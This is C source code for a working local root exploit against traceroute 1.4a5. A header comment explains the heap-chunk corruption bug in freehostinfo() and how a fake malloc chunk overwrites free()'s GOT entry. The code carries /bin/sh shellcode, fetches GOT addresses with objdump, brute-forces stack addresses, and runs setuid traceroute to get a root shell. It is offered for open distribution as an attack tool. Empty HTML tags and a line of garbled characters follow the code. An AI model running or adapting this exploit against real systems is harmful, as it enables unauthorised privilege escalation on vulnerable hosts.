/* * exploit for traceroute 1.4a5 by sorbo (sorbox@yahoo.com) * * WARNING: NOT PRIVATE!!! DISTRIBUTE EVERYWHERE ;D * * Advisory: Chris Evans * * Vulnerability class: malloc chunks * * * The problem is in the implementation of freehostinfo(). To be exact, free(hi->name); is the problem. * hi->hname is allocated via savestr() from gethostinfo(). * * savestr() is a clone of strdup but uses less mallocs. It allocates one chunk and returns pointers withing that chunk. * The problem is that freehostinfo assumes savestr acts as strdup, so it free()'s all pointers. Only one pointer will * actually be malloc()ed (the first host), the others will just be pointers in that heap area. Thus, when these other * pointers are free()ed, the application will segfault (because of an invalid malloc chunk... since there never was one). * * ie: traceroute -g 1 -g 2 will segfault. * * This because only space for 1 is malloced, whereas 2 has "allocated space" within the space of 1 (which is allocated with * 1024 bytes and not only 17 or something). * * The idea is to create a valid memory chunk for the second host and another free memory chunk (so consolidation may occur) * thus overwriting memory (free's GOT) to point to our shellcode (in argv or something). * * * This is the memory initially (in bytes): * * [ hostinfo: 16] [ STRPTR: 1032 ] [ADDR 16 ] * * After the first round of free's: * [ hostinfo: 16] [ ADDR2 16 ] * * notice that we have control over the STRPTR area and there is an aditional pointer which will be free()d now that * lies in the STRPTR area (which is now "free"). * * we need to create a fake chunk (one that seems allocated) for that second pointer (which is our second ip). * This is how the "strptr" area looks like before the free * [IP1:x ] [0] [IP2:x] [0] * [ADDR2:16] * * We are interested in the 4 bytes before IP2 (size field of memory chunk). * MSB will be 0. * ADDR will overwrite IP1 (exactly 4 bytes and then pad with 0's). * if we choose IP1 of length 7 (including null byte, eg:1.2.34), this will be structure of STRPTR: * * [IP1:6] [0] [IP2:x] [0] * [ADDR2:4][0:12] * * The 8 bytes before IP2 (the chunk header) will be: * [HI:1] [ADDR2:4] [0:3] * * This means that size will be determined by the last byte of the second ip. * * ADDR2 is allocated 16 bytes, thus * We can set this to 16 (minimum chunk size) eg:1.2.3.17 (17 because we want PREV_INUSE set). * * This means that 8 bytes from the start of the second addr, free will expect another chunk header. * that is EXACTLY after the ip address (we need to put a space here and fortunately space is even ascii code) * so the prev_size will be even. All we do is set an even prevsize, -4 size, free GOT addr - 12 in fd and argv[5] (shellcode) * addr in bg * * and... root =D * */ #include #include #include char shellcode[] = /* jump around (effectivly like a "nop space" /2) */ "\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a" "\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a" /* NOPS */ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" /* the Aleph One shellcode */ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; #define TRACEROUTE "/usr/sbin/traceroute" #define OBJDUMP "/usr/bin/objdump" /* ojbdump traceroute | grep free */ unsigned int FREE = 0; /* free() GOT address */ /* ltrace traceroute (and u have a starting addr to start guessing from ;D ) */ unsigned int SHELLCODE = 0; /* argv[5] of traceroute */ char *env[] = { NULL }; void usage(char *m) { printf("Usage: %s [options]\n",m); printf("-h\t\t\tthis lame message\n"); printf("-f \t\tfree() GOT addr\n"); printf("-s \t\ttraceroute's argv[5] addr\n"); printf("-b\t\t\tbrute force argv[5] addr\n"); printf("-n\t\t\tdon't test vuln\n"); exit(0); } void bruteforce(char *arg[], unsigned int *addr) { int pid; int status; printf("Starting brute force from %x incrememting 1 byte each time\n",*addr); printf("If it hangs... ur probably close ;D try skipping the value\n"); while(1) { pid = fork(); if(pid < 0) { perror("pid()"); exit(-1); } /* child */ if(pid == 0) { execve(TRACEROUTE,arg,env); perror("execve()"); exit(0); } /* parent */ else { printf("Trying = %x\n",*addr); wait(&status); if(WIFEXITED(status) != 0) break; (*addr)++; } } printf("Done...\n"); exit(0); } /* yes very lame n skript kiddie ;D */ unsigned int getGOT(char *symb) { int pid; int fd[2]; char buf[1024]; char *arg[] = { "/bin/sh", "-c", buf, NULL }; unsigned int addr = 0; snprintf(buf,1024,"%s -R %s | grep %s",OBJDUMP,TRACEROUTE,symb); printf("Attempting to fetch free() addr (make sure u got objdump)\n"); if(pipe(fd) <0) { perror("pipe()"); exit(0); } pid = fork(); if(pid < 0) { perror("fork()"); exit(0); } /* child */ if(pid == 0) { dup2(fd[1],1); dup2(fd[1],2); close(fd[0]); close(fd[1]); execve("/bin/sh",arg,env); perror("execve()"); exit(0); } /* parent */ else { int rd; close(fd[1]); rd = read(fd[0],buf,1024); if(rd < 1) { perror("read()"); exit(0); } buf[rd] = 0; sscanf(buf,"%x",&addr); wait(NULL); } printf("Adress %x... does it sound good !?!?! ;D\n",addr); return addr; } void checkVuln() { int pid; char *arg[] = { TRACEROUTE, "-g", "1","-g","1",NULL }; pid = fork(); if(pid < 0) { perror("fork()"); exit(0); } /* child */ if(pid == 0) { execve(TRACEROUTE,arg,env); perror("execve()"); exit(0); } /* parent */ else { int status; printf("Checking vuln...\n"); wait(&status); if(WIFEXITED(status) != 0) { printf("NOT VULN!! override with -n\n"); exit(0); } } printf("VULN!\n"); } int main(int argc, char **argv) { unsigned char egg[1024]; /* hope we don't overflow it ;D no bounds check!!! */ unsigned int *ptr; int opt; int checkvuln = 1; int brute = 0; char *arg[] = { "exploited", "-g","1.2.34","-g",egg,shellcode,NULL }; printf("Traceroute v1.4a5 exploit by sorbo (sorbox@yahoo.com)\n"); while( (opt = getopt(argc,argv,"f:s:hbn")) != -1) { switch(opt) { case 'f': if(sscanf(optarg,"%x",&FREE) != 1) { printf("Invalid free addr\n"); exit(-1); } break; case 's': if(sscanf(optarg,"%x",&SHELLCODE) != 1) { printf("Invalid free addr\n"); exit(-1); } break; case 'b': brute = 1; break; case 'n': checkvuln = 0; break; default: case 'h': usage(argv[0]); } } if(checkvuln) checkVuln(); /* ok all we need to construct is the second "ip" address */ strcpy(egg,"1.2.3."); /* start normal ;D */ /* SIZE OF FIRST CHUNK */ strcat(egg,"17"); /* 16 length... 17 so we set previnuse (we don't want to consolidate backwards */ /* PREVSIZE OF FREE CHUNK */ strcat(egg," "); /* by putting a space inet_addr will not fail and we can fill up with bullshit */ strcat(egg,"sex"); /* the space of before filled the LSB of the prevsize which we want even.. don't * care about rest */ /* SIZE OF FREE CHUNK */ ptr = (unsigned int*)(egg+strlen(egg)); *ptr = -4; /* -4 so when it checks for is PREV_INUSE set for the "next" chunk it will actually check * our freechunk's prev_inuse */ ptr++; /* FD OF FREE CHUNK */ if(FREE == 0) FREE = getGOT("free"); *ptr = FREE-12; ptr++; /* BK OF FREE CHUNK */ if(SHELLCODE == 0) SHELLCODE = 0xC0000000 - strlen(TRACEROUTE) - strlen(arg[5]) -6; /* stack is argv[5] 0 traceroute 0 NULL */ *ptr = SHELLCODE; ptr++; *ptr = 0; /* the end */ printf("Lets ride...\n"); if(brute) bruteforce(arg,ptr-1); printf("Trying %x\n",SHELLCODE); execve(TRACEROUTE,arg,env); perror("execve()"); }
<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            ÑÇÖÞÅ·ÃÀÔÚÏß